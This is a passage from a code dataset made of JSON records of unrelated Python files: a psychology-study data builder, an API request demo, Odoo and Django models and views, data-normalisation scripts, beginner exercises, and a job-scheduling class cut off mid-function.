emotion_counts = np.unique(emotions_pred_list,\r\n                                                         return_counts=True)\r\n                emotions_freq = emotion_counts / len(emotions_pred_list)\r\n                freq_dict = {e: c for e, c in zip(emotion_pred, emotions_freq)}\r\n                # add zero frequencies for emotions that weren't found\r\n                for e in emotions:\r\n                    if e not in freq_dict.keys():\r\n                        freq_dict[e] = 0\r\n                participants[participant_id][key] = freq_dict\r\n\r\n\r\ndef removeInvalidParticipants(participants):\r\n    for invalid in INVALID_LIST:\r\n        try:\r\n            del participants[invalid]\r\n        except KeyError:\r\n            pass\r\n\r\n\r\n\r\ndef getPreliminaryQuestionnaireData(participantDict):\r\n    dict = {}\r\n    genders = {\r\n        \"נקבה\": 0,\r\n        \"זכר\": 1,\r\n        \"אחר\": 2\r\n    }\r\n    statuses = {\r\n        \"רווק/ה\": \"single\",\r\n        \"נשוי/אה\": \"married\",\r\n        \"גרוש/ה\": \"divorced\",\r\n        \"אלמן/ה\": \"widowed\"\r\n    }\r\n    countries = {\r\n        \"ישראל\": \"Israel\",\r\n        \"ארצות הברית\": \"USA\",\r\n        \"אתיופיה\": \"Ethiopia\",\r\n        \"ברית המועצות לשעבר\": \"USSR\",\r\n        \"צרפת\": \"France\"\r\n    }\r\n    educations = {\r\n        \"עד תיכונית\": \"high-school\",\r\n        \"תיכונית (בגרות מלאה)\": \"Bagrut\",\r\n        \"אקדמאית- תואר ראשון\": \"Ba\",\r\n        \"אקדמאית- תואר שני\": \"Ms\",\r\n        \"אקדמאית- תואר שלישי\": \"Phd\"\r\n    }\r\n    yesOrNo = {\r\n        \"כן\": 1,\r\n        \"לא\": 0\r\n    }\r\n    economicStates = {\r\n        \"נמוך\": 1,\r\n        \"נמוך-בינוני\": 2,\r\n        \"בינוני\": 3,\r\n        \"בינוני-גבוה\": 4,\r\n        \"גבוה\": 5\r\n    }\r\n    religiousAffiliations = {\r\n        \"יהודית\": \"J\",\r\n        \"מוסלמית\": \"M\",\r\n        \"נוצרית\": \"C\",\r\n        \"דרוזית\": \"D\"\r\n    }\r\n    agreement = {\r\n        '1 (לא מסכים כלל)': 1,\r\n        '2 (די מתנגד)': 2,\r\n        '3 (לא מסכים ולא מתנגד)': 3,\r\n        '4 (די מסכים)': 4,\r\n        '5 (מסכים מאוד)': 5\r\n    }\r\n    with open(DATA_DIR + 'PreliminaryQuestionnaire.csv', newline='', encoding='utf-8') as f:\r\n        reader = csv.reader(f)\r\n        titles = next(reader)\r\n        for row in reader:\r\n            if row[0] == '':\r\n                continue\r\n\r\n            participant = participantDict.get(int(row[titles.index('מספר נבדק (המספר שפלג נתן לך)')]))\r\n            if participant is None:\r\n                continue\r\n            participant['yearOfBirth'] = int(row[titles.index('שנת לידה')])\r\n            participant['gender'] = int(genders.get(row[titles.index('מגדר')]))\r\n            participant['status'] = statuses.get(row[titles.index('מצב משפחתי')])\r\n            participant['Birthplace'] = countries.get(row[titles.index('ארץ לידה')],\"other\")\r\n            participant['FatherBirthplace'] = countries.get(row[titles.index('ארץ לידת האב')], \"other\")\r\n            participant['MotherBirthplace'] = countries.get(row[titles.index('ארץ לידת האם')], \"other\")\r\n            participant['education'] = educations.get(row[titles.index('השכלה (ניתן לסמן גם אם הינך במהלך רכישת ההשכלה)')])\r\n            participant['steadyIncome'] = int(yesOrNo.get(row[titles.index('האם הנך בעל/ת הכנסה קבועה או מלגה?')]))\r\n            participant['economicState']  = economicStates.get(row[titles.index('כיצד הנך תופס/ת את מצבך הסוציו-אקונומי?')])\r\n            altruism = 0\r\n            for i in [titles.index(' [אעזור לאדם זר שלא יודע את הדרך להגיע ליעד]'),\r\n                      titles.index(' [אפרוט כסף עבור אדם זר]'),\r\n                      titles.index(' [אתן כסף לצדקה]'),\r\n                      titles.index(' [אתרום מוצרים/ בגדים לצדקה]'),\r\n                      titles.index(' [אתנדב בארגון צדקה]'),\r\n                      titles.index(' [אתרום דם]'),\r\n                      titles.index(' [אעכב את המעלית עבור אדם זר כדי שיספיק לעלות]'),\r\n                      titles.index(' [אתן למישהו שזקוק לכך לעקוף אותי בתור]'),\r\n                      titles.index(' [אעזור לחבר ללימודים שאיני מכיר היטב במטלה שמתקשה בה ]'),\r\n                      titles.index(' [אוותר על מקומי באוטובוס/רכבת בשביל זר שנאלץ לעמוד]')]:\r\n                if row[i] == '5 (בסבירות גבוהה)':\r\n                    altruism += 5\r\n                    continue\r\n                if row[i] == '1 (כלל לא סביר)':\r\n                    altruism += 1\r\n                    continue\r\n                altruism += int(row[i])\r\n            participant['altruism'] = altruism\r\n            extroversion = 0\r\n            introversion = 0\r\n            extroversion += agreement.get(row[titles.index('אני רואה עצמי כאדם... [דברן]')])\r\n            extroversion += agreement.get(row[titles.index('אני רואה עצמי כאדם... [אנרגטי]')])\r\n            extroversion += agreement.get(row[titles.index('אני רואה עצמי כאדם... [מפגין התלהבות]')])\r\n            extroversion += agreement.get(row[titles.index('אני רואה עצמי כאדם... [בעל אישיות אסרטיבית/החלטית]')])\r\n            extroversion += agreement.get(row[titles.index('אני רואה עצמי כאדם... [חברותי ופתוח]')])\r\n            introversion += agreement.get(row[titles.index('אני רואה עצמי כאדם... [מאופק]')])\r\n            introversion += agreement.get(row[titles.index('אני רואה עצמי כאדם... [נוטה להיות שקט]')])\r\n            introversion += agreement.get(row[titles.index('אני רואה עצמי כאדם... [עצור ומבוייש]')])\r\n            #take mean of extra- and intra- version because number of questions are not equal\r\n            participant['extroversion'] = extroversion / 5\r\n            participant['introversion'] = introversion / 3\r\n            participant['religion'] = religiousAffiliations.get(row[titles.index('השתייכות דתית')],\"other\")\r\n    return\r\n\r\ndef main():\r\n    participants = createParticipants()\r\n    getSelfReportData(participants)\r\n    getPreliminaryQuestionnaireData(participants)\r\n    getVideoData(participants)\r\n    getAudioData(participants)\r\n    # variations of video data\r\n    getVideoEmotionProbMean(VIDEO_DIR, 'VideoData', participants, 'videoProbMean')\r\n    getVideoEmotionProbMean(VIDEO_BL_DIR, 'VideoBaselineData', participants,\r\n                           'videoBLProbMean')\r\n    getVideoAboveThresholdEmotionFreq(VIDEO_DIR, 'VideoData', participants,\r\n                                      'videoThresholdFreq')\r\n    getVideoAboveThresholdEmotionFreq(VIDEO_BL_DIR, 'VideoBaselineData',\r\n                                      participants, 'videoBLThresholdFreq')\r\n    getVideoEmotionFreqSkipBeginning(VIDEO_DIR, 'VideoData', participants,\r\n                                     'videoFreqSkipBeg')\r\n    getVideoEmotionFreqSkipBeginning(VIDEO_BL_DIR, 'VideoBaselineData',\r\n                                     participants, 'videoBLFreqSkipBeg')\r\n    getVideoFreqTopPercent(VIDEO_DIR, 'VideoData', participants, 'videoFreqTopPercent')\r\n    getVideoFreqTopPercent(VIDEO_BL_DIR, 'VideoBaselineData', participants, 'videoBLFreqTopPercent')\r\n\r\n    # remove invalid subjects\r\n    removeInvalidParticipants(participants)\r\n\r\n    # save dictionary\r\n    with open(DATA_DIR + DICT_FILE, 'wb') as f:\r\n        dump(participants, f)\r\n\r\n    happy1 =[]\r\n    happy2 = []\r\n    sad1 = []\r\n    sad2 = []\r\n    neut1 = []\r\n    neut2 = []\r\n    pars = {\r\n        \"happy\": [happy1, happy2],\r\n        \"sad\": [sad1, sad2],\r\n        \"neutral\": [neut1,neut2]\r\n    }\r\n\r\n    for participant in participants.values():\r\n        stat = pars.get(participant['emotion'][0])\r\n        stat[0].append(participant['ultimatumOffer'])\r\n        stat[1].append(participant['trustOffer'])\r\n\r\n    # mean & std\r\n    print('happy ultimatum mean offer: {:0.3f}, std: {:0.3f}'.format(mean(happy1), stdev(happy1)))\r\n    print('happy trust mean offer: {:0.3f}, std: {:0.3f}'.format(mean(happy2), stdev(happy2)))\r\n    print('sad ultimatum mean offer: {:0.3f}, std: {:0.3f}'.format(mean(sad1), stdev(sad1)))\r\n    print('sad trust mean offer: {:0.3f}, std: {:0.3f}'.format(mean(sad2), stdev(sad2)))\r\n    print('neutral ultimatum mean offer: {:0.3f}, std: {:0.3f}'.format(mean(neut1), stdev(neut1)))\r\n    print('neutral trust mean offer: {:0.3f}, std: {:0.3f}'.format(mean(neut2), stdev(neut2)))\r\n\r\n    # t-test\r\n    print('\\nt-test:')\r\n    # ultimatum\r\n    [h,p] = ttest_ind(happy1,neut1)\r\n    print('ultimatum: happy vs neutral: t-stat={:0.3f}, p-val={:0.3f}'.format(h,p))\r\n    [h,p] = ttest_ind(sad1,neut1)\r\n    print('ultimatum: sad vs neutral: t-stat={:0.3f}, p-val={:0.3f}'.format(h,p))\r\n    [h,p] = ttest_ind(happy1,sad1)\r\n    print('ultimatum: happy vs sad: t-stat={:0.3f}, p-val={:0.3f}'.format(h,p))\r\n    # trust\r\n    [h,p] = ttest_ind(happy2,neut2)\r\n    print('trust: happy vs neutral: t-stat={:0.3f}, p-val={:0.3f}'.format(h,p))\r\n    [h,p] = ttest_ind(sad2,neut2)\r\n    print('trust: sad vs neutral: t-stat={:0.3f}, p-val={:0.3f}'.format(h,p))\r\n    [h,p] = ttest_ind(happy2,sad2)\r\n    print('trust: happy vs sad: t-stat={:0.3f}, p-val={:0.3f}'.format(h,p))\r\n\r\nif __name__ == \"__main__\":\r\n    main()\r\n","sub_path":"BuildDictionary.py","file_name":"BuildDictionary.py","file_ext":"py","file_size_in_byte":19638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"119653178","text":"import requests\nimport json\n\nif __name__ == '__main__':\n\turl = 'http://httpbin.org/delete'\n\tpayload = { 'nombre': 'Jairo', 'curso': 'python', 'nivel' : 'intermedio' }\n\theaders = {'Conten-Type': 'application/json', 'acces-toke': '12345'}\n\n\tresponse = requests.delete(url, data=json.dumps(payload), headers=headers)\n\n\t#GET para obtener algun recurso\n\t#POST para crearlo\n\t#PUT para actualizarlo\n\t#DELETE par eliminarlo\n\tprint(response.url)\n\n\tif response.status_code == 200:\n\t\t#print(response.content)\n\t\theaders_response = response.headers #Dic\n\t\tserver = headers_response['Server']\n\t\tprint(server)\n","sub_path":"ConsumirApis/consumirapidelete.py","file_name":"consumirapidelete.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"86241381","text":"# -*- coding: utf-8 -*-\nfrom openerp import tools\nfrom openerp import api, models, fields, _\nfrom openerp.addons.pabi_chartfield.models.chartfield import ChartField\n\n\nclass MergedChartField(ChartField):\n\n    chartfield_id = fields.Many2one(\n        'chartfield.view',\n        string='Budget',\n        compute='_compute_chartfield',\n        inverse='_inverse_chartfield',\n        domain=[('model', '!=', 'res.personnel.costcenter')],\n    )\n\n    @api.multi\n    @api.depends('chartfield_id')\n    def _inverse_chartfield(self):\n        for rec in self:\n            res_id = rec.chartfield_id.res_id\n            model = rec.chartfield_id.model\n            vals = {'section_id': False, 'project_id': False,\n                    'invest_asset_id': False, 'personnel_costcenter_id': False,\n                    'invest_construction_phase_id': False}\n            if model == 'res.section':\n                vals.update({'section_id': res_id})\n            if model == 'res.project':\n                vals.update({'project_id': res_id})\n            if model == 'res.invest.construction.phase':\n                vals.update({'invest_construction_phase_id': res_id})\n            if model == 'res.invest.asset':\n                vals.update({'invest_asset_id': res_id})\n            if model == 'res.personnel.costcenter':\n                vals.update({'personnel_costcenter_id': res_id})\n            rec.write(vals)\n\n    @api.multi\n    @api.depends('project_id', 'section_id', 'personnel_costcenter_id',\n                 'invest_asset_id', 'invest_construction_id')\n    def _compute_chartfield(self):\n        for rec in self:\n            model, res_id = False, False\n            if rec.section_id:\n                model, res_id = ('res.section', rec.section_id.id)\n            if rec.project_id:\n                model, res_id = ('res.project', rec.project_id.id)\n            if rec.invest_asset_id:\n                model, res_id = ('res.invest.asset', rec.invest_asset_id.id)\n            if rec.invest_construction_phase_id:\n                model, res_id = ('res.invest.construction.phase',\n                                 rec.invest_construction_phase_id.id)\n            if rec.personnel_costcenter_id:\n                model, res_id = ('res.personnel.costcenter',\n                                 rec.personnel_costcenter_id.id)\n            if res_id:\n                Chart = self.env['chartfield.view']\n                rec.chartfield_id = Chart.search([('model', '=', model),\n                                                  ('res_id', '=', res_id)])\n            else:\n                rec.chartfield_id = False\n\n    @api.onchange('chartfield_id')\n    def _onchange_chartfield_id(self):\n        res_id = self.chartfield_id.res_id\n        if self.chartfield_id.model == 'res.section':\n            self.section_id = res_id\n        if self.chartfield_id.model == 'res.project':\n            self.project_id = res_id\n        if self.chartfield_id.model == 'res.invest.construction.phase':\n            self.invest_construction_phase_id = res_id\n        if self.chartfield_id.model == 'res.invest.asset':\n            self.invest_asset_id = res_id\n        if self.chartfield_id.model == 'res.project':\n            self.project_id = res_id\n\n\nclass ChartfieldView(models.Model):\n    _name = 'chartfield.view'\n    _auto = False\n    _order = 'seq, code'\n\n    seq = fields.Integer(\n        string='Sequence',\n    )\n    type = fields.Selection(\n        [('sc:', 'Section'),\n         ('pj:', 'Project'),\n         ('cp:', 'Construction Phase'),\n         ('ia:', 'Invest Asset'),\n         ('pc:', 'Personnel'), ],\n        string='Type',\n    )\n    model = fields.Char(\n        string='Model',\n    )\n    id = fields.Integer(\n        string='ID',\n    )\n    res_id = fields.Integer(\n        string='Resource ID',\n    )\n    code = fields.Char(\n        string='Code',\n    )\n    name = fields.Char(\n        string='Name',\n    )\n    name_short = fields.Char(\n        string='Short Name',\n    )\n    costcenter_id = fields.Many2one(\n        'res.costcenter',\n        string='Costcenter',\n    )\n\n    @api.multi\n    def name_get(self):\n        result = []\n        for rec in self:\n            name = rec.name\n            name_short = ('name_short' in rec) and rec['name_short'] or False\n            result.append((rec.id, \"%s%s\" %\n                           (rec.code and '[' + rec.code + '] ' or '',\n                            name_short or name or '')))\n        return result\n\n    def init(self, cr):\n        tools.drop_view_if_exists(cr, self._table)\n        _sql = \"\"\"\n        select * from (\n        (select 1 seq, 'sc:' as type, 'res.section' as model,\n        id+1000000 as id, id as res_id, code, name, name_short, costcenter_id\n        from res_section where active=true)\n            union all\n        (select 2 seq, 'pj:' as type, 'res.project' as model,\n        id+2000000 as id, id as res_id, code, name, name_short, costcenter_id\n        from res_project where active=true)\n            union all\n        (select 3 seq, 'cp:' as type, 'res.invest.construction.phase' as model,\n        p.id+3000000 as id, p.id as res_id, p.code, c.name as name,\n        phase as name_short, costcenter_id\n        from res_invest_construction_phase p join res_invest_construction c on\n        c.id = p.invest_construction_id where p.active=true)\n            union all\n        (select 4 seq, 'ia:' as type, 'res.invest.asset' as model,\n        id+4000000 as id, id as res_id, code, name, name_short, costcenter_id\n        from res_invest_asset where active=true)\n            union all\n        (select 5 seq, 'pc:' as type, 'res.personnel.costcenter' as model,\n        id+5000000 as id, id as res_id, code, name, name_short, costcenter_id\n        from res_personnel_costcenter where active=true)\n        ) a\n        \"\"\"\n        cr.execute(\"\"\"CREATE or REPLACE VIEW %s as (%s)\"\"\" %\n                   (self._table, _sql,))\n","sub_path":"pabi_chartfield_merged/models/chartfield.py","file_name":"chartfield.py","file_ext":"py","file_size_in_byte":5868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"549110645","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Jan 29, 2021\n\n@file: transforms.py\n@desc: Module containing all the transformations that can be done on a datasets.\n@author: laugh12321\n@contact: laugh12321@vip.qq.com\n\"\"\"\nimport abc\nimport numpy as np\nfrom typing import List, Dict\n\nfrom src.model import enums\nfrom src.model.models import rnn_supervised, pixel_based_cnn, \\\n    pixel_based_fnnc, pixel_based_dacn\n\n\nclass BaseTransform(abc.ABC):\n    @abc.abstractmethod\n    def __call__(self, *args, **kwargs):\n        \"\"\"\n        Each subclass should implement this method.\n        :param args: Arbitrary list of arguments.\n        :param kwargs: Arbitrary dictionary of arguments.\n        \"\"\"\n\n\nclass SpectralTransform(BaseTransform):\n    def __init__(self, **kwargs):\n        \"\"\"Initializer of the spectral transformation.\"\"\"\n        super().__init__()\n\n    def __call__(self, samples: np.ndarray,\n                 labels: np.ndarray) -> List[np.ndarray]:\n        \"\"\"\n        Transform 1D samples along the spectral axis.\n        Only the spectral features are present for each sample in the datasets.\n\n        :param samples: Input samples that will undergo transformation.\n        :param labels: Class value for each samples.\n        :return: List containing the transformed samples and the class labels.\n        \"\"\"\n        return [np.expand_dims(samples.astype(np.float32), -1), labels]\n\n\nclass MinMaxNormalize(BaseTransform):\n    def __init__(self, min_: float, max_: float):\n        \"\"\"\n        Normalize each sample.\n\n        :param min_: Minimum value of features.\n        :param max_: Maximum value of features.\n        \"\"\"\n        super().__init__()\n        self.min_ = min_\n        self.max_ = max_\n\n    def __call__(self, samples: np.ndarray, labels: np.ndarray) -> List[\n        np.ndarray]:\n        \"\"\"\"\n        Perform min-max normalization on the passed samples.\n\n        :param samples: Input samples that will undergo normalization.\n        :param labels: Class values for each sample.\n        :return: List containing the normalized samples and the class labels.\n        \"\"\"\n        return [(samples - self.min_) / (self.max_ - self.min_), labels]\n\n\ndef apply_transformations(data: Dict,\n                          transformations: List[BaseTransform]) -> Dict:\n    \"\"\"\n    Apply each transformation from provided list\n\n    :param data: Dictionary with 'data' and 'labels' keys holding np.ndarrays\n    :param transformations: List of transformations\n    :return: Transformed data, in the same format as input\n    \"\"\"\n    for transformation in transformations:\n        data[enums.Dataset.DATA], data[enums.Dataset.LABELS] = transformation(\n            data[enums.Dataset.DATA], data[enums.Dataset.LABELS])\n    return data\n\n\nUNMIXING_TRANSFORMS = {\n    rnn_supervised.__name__: [SpectralTransform],\n\n    pixel_based_cnn.__name__: [SpectralTransform],\n\n    pixel_based_fnnc.__name__: [SpectralTransform],\n\n    pixel_based_dacn.__name__: [SpectralTransform]\n}\n","sub_path":"src/utils/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":2988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"497543661","text":"\"\"\"\r\n    Argument syntax:\r\n        python standardized_data.py input.csv --method=method --columns column1 column2 column3 ... --output=output.csv\r\n    Example:\r\n         python standardized_data.py house-prices.csv --method=MINMAX --columns ID lotFrontage alley --output=request7.csv\r\n\"\"\"\r\n\r\n# Load the convenient packages\r\nimport sys\r\nfrom SupportFunction import getDataset,getTypeOfAttributes,list_attributes, standardlized_data_by_MINMAX_Method, standardlized_data_by_ZScore_Method\r\n\r\ninput = sys.argv[1]\r\noutput = sys.argv[len(sys.argv)-1].split(\"=\")[1]\r\nmethod = sys.argv[2].split(\"=\")[1]\r\nmethod=method.lower()\r\n\r\ndataset = getDataset(input)\r\nattributes = list_attributes(dataset)\r\nTypeOfAttribute = getTypeOfAttributes(dataset)\r\ncolumns = []\r\nfor index in range(4,len(sys.argv)-1,1):\r\n    check=False\r\n    for attribute in attributes:\r\n        if (attribute.lower()==sys.argv[index].lower()):\r\n            columns.append(attribute)\r\n            check=True\r\n            break\r\n    if (check==False):\r\n        print(sys.argv[index] + \" is Invalid\")\r\n\r\nfor col in columns:\r\n    if (TypeOfAttribute[col]>2):\r\n        print(col + \" isn't Numeric\")\r\n        columns.remove(col)\r\n\r\nif (method==\"minmax\"):\r\n    for col in columns:\r\n        standardlized_data_by_MINMAX_Method(dataset,col,1.0,0.0)\r\nelif (method==\"zscore\"):\r\n    for col in columns:\r\n        standardlized_data_by_ZScore_Method(dataset,col)\r\nelse:\r\n    print(\"methods available are MinMax or ZScore\")\r\n    exit(0)\r\ndataset.to_csv(output)","sub_path":"Preprocessing/standardized_data.py","file_name":"standardized_data.py","file_ext":"py","file_size_in_byte":1502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"542022448","text":"\"\"\"\nDefine a simple \"spelling correction\" function correct()\nthat takes a string and sees to it that\n1) two or more occurrences of the space character is compressed into one,\nand 2) inserts an extra space after a period if the period is\ndirectly followed by a letter.\nE.g. correct(\"This   is  very funny  and    cool.Indeed!\")\nshould return \"This is very funny and cool. Indeed!\"\nTip: Use regular expressions!\n\n\"\"\"\ndef correct(sentence):\n\n        new_string=\" \"\n        count = 0\n        for i in range(len(sentence)):\n\n                if sentence[i] != \" \":\n                        new_string = new_string + sentence[i]\n                else:\n                        count = count +1\n                        \n","sub_path":"23-Spelling Correction.py","file_name":"23-Spelling Correction.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"159504586","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Referral\nfrom .serializers import ReferralSerializer\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status\n# Create your views here.\n\ndef index(request):\n    return HttpResponse(\"Landing page placeholder\")\n\n@api_view(['GET','PUT','DELETE'])\ndef get_delete_update_referral(request, pk):\n\ttry:\n\t\treferral = Referral.objects.get(pk=pk)\n\texcept Referral.DoesNotExist:\n\t\treturn Response(status = status.HTTP_404_NOT_FOUND)\n\t# get single referral\n\tif request.method == 'GET':\n\t\tserializer = ReferralSerializer(referral)\n\t\treturn Response(serializer.data)\n\t# update referral\n\telif request.method == 'PUT':\n\t\tserializer = ReferralSerializer(referral, data=request.data)\n\t\tif serializer.is_valid():\n\t\t\tserializer.save()\n\t\t\treturn Response(serializer.data, status=status.HTTP_204_NO_CONTENT)\n\t\treturn Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\t# delete referral\n\telif request.method == 'DELETE':\n\t\treferral.delete()\n\t\treturn Response(status=status.HTTP_204_NO_CONTENT)\n\n@api_view(['GET', 'POST'])\ndef get_post_referrals(request):\n\t# get all referrals\n\tif request.method == 'GET':\n\t\treferrals = Referral.objects.all()\n\t\tserializer = ReferralSerializer(referrals, many=True)\n\t\treturn Response(serializer.data)\n\t# create new referral\n\telif request.method == 'POST':\n\t\tdata = {\n\t\t\t'title': request.data.get('title'),\n\t\t\t'clicks': 0 if request.data.get('clicks') is None else request.data.get('clicks')\n\t\t}\n\t\tserializer = ReferralSerializer(data=data)\n\t\tif serializer.is_valid():\n\t\t\tserializer.save()\n\t\t\treturn Response(serializer.data, status=status.HTTP_201_CREATED)\n\t\treturn Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n@api_view(['POST'])\ndef increment_referral_click(request, pk):\n\t# increment referral clicks\n\ttry:\n\t\treferral = Referral.objects.get(pk=pk)\n\texcept Referral.DoesNotExist:\n\t\treturn Response(status = status.HTTP_404_NOT_FOUND)\n\t\n\treferral.clicks += 1\n\treferral.save()\n\treturn Response(status=status.HTTP_204_NO_CONTENT)\n","sub_path":"referralmanager/referrals/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"325581820","text":"\"\"\" Программа принимает действительное положительное число ​ x и целое отрицательное число\ny. Необходимо выполнить возведение числа ​ x в степень ​ y ​ . Задание необходимо реализовать\nв виде функции ​ my_func(x, y)​ . При решении задания необходимо обойтись без встроенной\nфункции возведения числа в степень.\n\nПодсказка: попробуйте решить задачу двумя способами. Первый — возведение в степень с помощью оператора **.\nВторой — более сложная реализация без оператора **, предусматривающая использование цикла.\n\n\"\"\"\n\n\ndef try_type(var, var_type):\n    try:\n        var_type(var)\n        return True\n    except ValueError:\n        return False\n\n\ndef my_func_pow(x, y):\n    res_2 = 1\n    for i in range(abs(y) - 1):\n        res_2 *= x\n    return x**y, res_2 if y >= 0 else 1/res_2\n\n\nwhile True:\n    tmp_list = input('Введите два числа через пробел:\\n').split(' ')\n    if len(tmp_list) < 2:\n        print('Вы ввели недостаточно чисел')\n    elif not (try_type(tmp_list[0], int) and try_type(tmp_list[1], int)):\n        print('Ошибка при вводе! Введите числа')\n    else:\n        print(f'Результат: {my_func_pow(int(tmp_list[0]), int(tmp_list[1]))}')\n        break\n","sub_path":"lesson_3/quest_4.py","file_name":"quest_4.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"500699290","text":"import os\nimport time\nimport pandas as pd\nfrom  cons import conn as conn\nimport confs\nimport pymysql\nfrom ssh import SSH_cmd as ssh_cmd\nfrom ssh import SSH as ssh_con\nmain_path=confs.main_path\nspecia_list=['dim_cust_map'] #特殊依赖表\n\nclass auto_schedule(object):\n    def __init__(self,group_num=10,frency='d',tar_ssh='ssh_uat'):\n         self.group_num=group_num\n         if frency in ['d','w','m']:#d 表示天 w 表示zhou m表示月   \n             self.frency=frency\n         else:\n             print('frency 参数只能是 d(天),w(周),m(月) ')\n             raise Exception(\"frency 参数只能是 d(天),w(周),m(月) \")                    \n         self.group_name=frency+'_run_group'\n         sshcon=ssh_con()\n         self.ssh=ssh_cmd(sshcon.ssh_uat)\n         if tar_ssh=='ssh_sc':\n             self.ssh=ssh_cmd(sshcon.ssh_sc)\n         \n    def get_job_group(self): #获取现有的分组情况\n        engine=conn.meta('etl_data')\n        sql_txt=\"\"\"\n                    SELECT s.tb_name,s.sql_file,s.group_id,s.freq_type,\n                    case when s.depend is null then e.cfg_denpend\n                     when s.depend<>e.cfg_denpend and e.cfg_denpend<>'nan' then e.cfg_denpend\n                    else s.depend end depend\n                    FROM  job_group_set s \n                    LEFT JOIN etl_job_set e on s.tb_name=e.tb_name \n                    and e.oper_date=CURRENT_DATE() and e.job_type='hive'\n                     where del_flag=0 and freq_type='{0}'\n                  \"\"\"\n        job_group=pd.read_sql(sql_txt.format(self.frency),engine,index_col='tb_name')\n        sql_txt=\"\"\"\n                    SELECT  group_id,max(rank_id) max_rank_id\n                    FROM  job_group_set where  freq_type='{0}' group by group_id order by group_id\n                  \"\"\" #,index_col='group_id'\n        group_max_rank_id=pd.read_sql(sql_txt.format(self.frency),engine)\n        return job_group.to_dict(),group_max_rank_id\n    def get_group_usedtime(self): #获取作业用时情况，分组用时情况\n        engine=conn.sljr_pg()\n        sql_txt=\"\"\"\n                   select \n                        case when batch_type='hive' then batch_name||'.sql' else batch_name end batch_name,\n                        avg(EXTRACT(EPOCH FROM (enddate-begindate))) used_time\n                         from \n                        dc_stging.sljr_hive_batch_log \n                        where create_time>CURRENT_TIMESTAMP - interval '10 day' \n                        and error='success'  \n                        GROUP BY case when batch_type='hive' then batch_name||'.sql' else batch_name end\n                  \"\"\"\n        job_time=pd.read_sql(sql_txt,engine,index_col='batch_name')\n        engine=conn.meta('etl_data')\n        sql_txt=\"\"\"\n                    SELECT tb_name,sql_file,group_id,freq_type,depend\n                    FROM  job_group_set where del_flag=0 and freq_type='{0}'\n                  \"\"\"\n        job_group=pd.read_sql(sql_txt.format(self.frency),engine,index_col='tb_name')\n        if job_group.shape[0]>0:\n            job_group=job_group.merge(job_time,how='left',left_on='sql_file',right_index=True)\n            job_group=job_group.fillna(job_group['used_time'].mean())\n            job_group=job_group.groupby('group_id')['used_time'].sum()\n            return job_group.to_dict(),job_time.to_dict()['used_time']\n        else:\n            group_used_time={}\n            for i in range(self.group_num):\n                group_used_time[i+1]=0\n            return group_used_time,job_time.to_dict()['used_time'] \n    def group_sh(self):\n        group_sh={}\n        group_sql={}\n        for i in range(self.group_num):\n            group_file=self.group_name+str(i+1).zfill(2)+'.sh'\n            filepath=confs.main_path_bin+group_file\n            open(filepath, \"wb\").write(open(confs.main_path+'bin/template.sh', \"rb\").read())\n            group_sh[i+1]=group_file\n            group_sql[i+1]=[]\n        return group_sh, group_sql\n    \n    def dict_sort_by_value(self,d,desc=False): # 数据字典key值按value排序\n        items=d.items() \n        backitems=[[v[1],v[0]] for v in items] \n        backitems.sort(reverse=desc) #reverse=True\n        #print(type(backitems))\n        #backitems2=[[v[1],v[0]] for v in backitems] \n        return [backitems[i][1] for i in range(0,len(backitems))] \n    def re_set_all(self,group_num_new=0): #重置所有分组\n        if group_num_new<3:\n            print('group_num分组数太少，应该在4组以上')\n            return 0\n        else:\n            self.group_num=group_num_new\n            gp_map,gp_sql=self.group_sh()\n            jobs_dict,group_max_rank_id=self.get_job_group()\n            tb_sql_map=jobs_dict['sql_file']\n            tb_dep_map=jobs_dict['depend']\n            group_usedtime,sql_usedtime=self.get_group_usedtime()\n            has_dep_tbs={}\n            tb_gp_map={} #表分组 \n            no_dep_tbs={} #特殊表提前执行\n            for tb in tb_sql_map.keys():\n                depd=eval(tb_dep_map[tb]) #依赖的表\n                #tb_dep_map[tb]=depd\n                new_depd=depd.copy() #将依赖表另存一份\n                for tp in depd:  #去除依赖sdd的表\n                    if tp[0:4] in confs.db_map.keys():\n                        new_depd.remove(tp)\n                    if tp in specia_list:\n                        new_depd.remove(tp)\n                if len(new_depd)>0:\n                    has_dep_tbs[tb]=new_depd\n                else :\n                    if tb in specia_list:\n                        no_dep_tbs[tb]=0 #特殊表加长时间以便使其放在首位\n                    else:\n                        tb_sql=tb_sql_map[tb]\n                        if tb_sql in sql_usedtime.keys():  #有执行历史记录的以历史用时为准\n                            no_dep_tbs[tb]=sql_usedtime[tb_sql]\n                        else:\n                            no_dep_tbs[tb]=99999\n            no_dep_tbs=self.dict_sort_by_value(no_dep_tbs)              \n            for i in range(len(no_dep_tbs)):\n                tp=i%self.group_num+1\n                gp_sql[tp].append(no_dep_tbs[i])\n                tb_gp_map[no_dep_tbs[i]]=tp\n            for tb in has_dep_tbs.keys():\n                max_num=0\n                for tp in has_dep_tbs[tb]:\n                    if tp in tb_gp_map.keys():\n                        tp_max_num=tb_gp_map[tp]\n                        if tp_max_num>max_num:\n                            max_num=tp_max_num\n                    else :\n                        print(tp,'依赖表没有加入配置')\n                        return 0\n                if max_num>0:\n                    if tb in tb_gp_map.keys():\n                        print(tb,'已经存在')\n                        return 0\n                    